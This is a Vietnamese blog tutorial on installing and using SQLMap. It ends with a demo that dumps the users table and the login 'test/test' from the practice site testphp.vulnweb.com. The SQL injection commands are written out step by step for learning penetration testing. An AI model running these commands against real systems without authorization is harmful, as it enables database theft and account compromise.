![](https://blog.crfnetwork.com/wp-content/uploads/2023/04/sqlmap_bg2.jpg)
Giới thiệu
SQLMAP là công cụ khai thác những lổ hỏng của cơ sở dữ liệu SQL. Công cụ này được xem là công cụ khai thác SQL tốt nhất hiện nay, được giới bảo mật và giới hacker sử dụng thường xuyên. Với người dùng Kali hoặc Back Track thì SQLMAP đã được tích hợp sẵn vào hệ điều hành. Riêng Windows thì chúng ta phải cài đặt thêm python và SQLMAP để sử dụng.
Tính năng
- Hỗ trợ đầy đủ làm việc với các hệ quản trị cơ sở dữ liệu: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, …
- Hỗ trợ đầy đủ cho các kỹ thuật tấn công SQL Injection: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries và out-of-band
- Kết nối trực tiếp với cơ sở dữ liệu mà không cần thông qua SQL: bằng cách cung cấp thông tin đăng nhập DBMS, địa chỉ IP, cổng và tên cơ sở dữ liệu.
- Liệt kê người dùng, password hash, đặc quyền, vai trò, cơ sở dữ liệu, bảng và cột.
- Tự động nhận dạng các định dạng băm mật khẩu và hỗ trợ bẻ khóa chúng bằng cách sử dụng một cuộc tấn công từ điển.
- Trích xuất hoàn toàn các bảng cơ sở dữ liệu, một loạt các mục hoặc các cột cụ thể theo lựa chọn của người dùng
- Tìm kiếm tên cơ sở dữ liệu cụ thể, các bảng cụ thể trên tất cả các cơ sở dữ liệu hoặc các cột cụ thể trên tất cả các bảng của cơ sở dữ liệu
- Tải xuống và tải lên bất kỳ tệp nào từ máy chủ cơ sở dữ liệu bên dưới hệ thống tệp khi phần mềm cơ sở dữ liệu là MySQL, PostgreQuery hoặc Microsoft SQL Server.
- Thực hiện các lệnh tùy ý và truy xuất đầu ra tiêu chuẩn của chúng trên máy chủ cơ sở dữ liệu bên dưới hệ điều hành khi phần mềm cơ sở dữ liệu là MySQL, PostgreQuery hoặc Microsoft SQL Server
Cách cài đặt
Cài đặt Python và SQLMap:
- Link cài đặt Python: https://www.python.org/ftp/python/2….hon-2.7.10.msi
- Link cài đặt SQLMap: https://github.com/sqlmapproject/sqlmap/zipball/master
Mở file python-2.7.10.msi và sau đó Next đến hết để cài đặt
![](https://blog.crfnetwork.com/wp-content/uploads/2023/04/image-1.png)
Giải nén file sqlmap vừa tải sau đó copy toàn bộ thư mục sqlmap vào đường dẫn cài python
![](https://blog.crfnetwork.com/wp-content/uploads/2023/04/image-2.png)
Bây giờ bạn có thể sử dụng bằng cách vào cmd và điều hướng đến thư mục C:\Python27\sqlmap
![](https://blog.crfnetwork.com/wp-content/uploads/2023/04/image-3.png)
Ngoài ra bạn có thể thêm sqlmap vào biến môi trường trên Windows để sử dụng thuận tiện hơn
Cách sử dụng cơ bản
Với Windows, ta có cú pháp như sau:
python sqlmap.py [-u url] [tùy chọn]
-u: url mục tiêu
-dbs: liệt kê các csdl
--tables: liệt kê các bảng
--columns: liệt kê các cột
--count: liệt kê số bản ghi
--dump: lấy các bản ghi trong csdl
-D: tên cơ sở dữ liệu
-T: tên bảng
-C: tên cột
Với Linux: sqlmap [-u url] [tùy chọn]
Demo Labs
Trong ví dụ này, chúng ta sẽ thử tìm cách lấy được thông tin đăng nhập trong trang vulnweb (đây là trang web phục vụ mục đích pentest nên các bạn có thể thử thoải mái nhé)
![](https://blog.crfnetwork.com/wp-content/uploads/2023/04/image-4.png)
Đầu tiên, SQLMap sẽ scan và phát hiện lỗ hổng mục tiêu vào đưa ra thông tin về lỗ hổng:
python sqlmap.py –u "http://testphp.vulnweb.com/search.php?test=query"
![](https://blog.crfnetwork.com/wp-content/uploads/2023/04/image-5.png)
Khi đã xác định được website tồn tại lỗ hổng SQL injection, ta tiến hành liệt kê các cơ sở dữ liệu
python sqlmap.py –u "http://testphp.vulnweb.com/search.php?test=query" -dbs
![](https://blog.crfnetwork.com/wp-content/uploads/2023/04/image-6.png)
Sau khi xác định được tên cơ sở dữ liệu là acuart, ta sẽ tìm tiếp các bảng có trong cơ sở dữ liệu
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query" --tables -D acuart
![](https://blog.crfnetwork.com/wp-content/uploads/2023/04/image-7.png)
Ta thấy table user có thể chứa thông tin đăng nhập nên ta sẽ kiểm tra tên các cột trong bảng user
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query" --columns -D acuart -T users
![](https://blog.crfnetwork.com/wp-content/uploads/2023/04/image-8.png)
Trong bản users có các trường uname và pass khả năng cao là tên tài khoản và mật khẩu để đăng nhập vào hệ thống
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query" --dump -D acuart -T users
![](https://blog.crfnetwork.com/wp-content/uploads/2023/04/image-9.png)
Bảng users có 1 bản ghi chứa thông tin của username và password là “test”, “test”.
Sử dụng tài khoản này, ta sẽ đăng nhập vào được hệ thống. Vậy là chúng ta vừa khai thác thành công lỗ hổng SQLi bằng SQLMAP. Chúc các bạn thành công!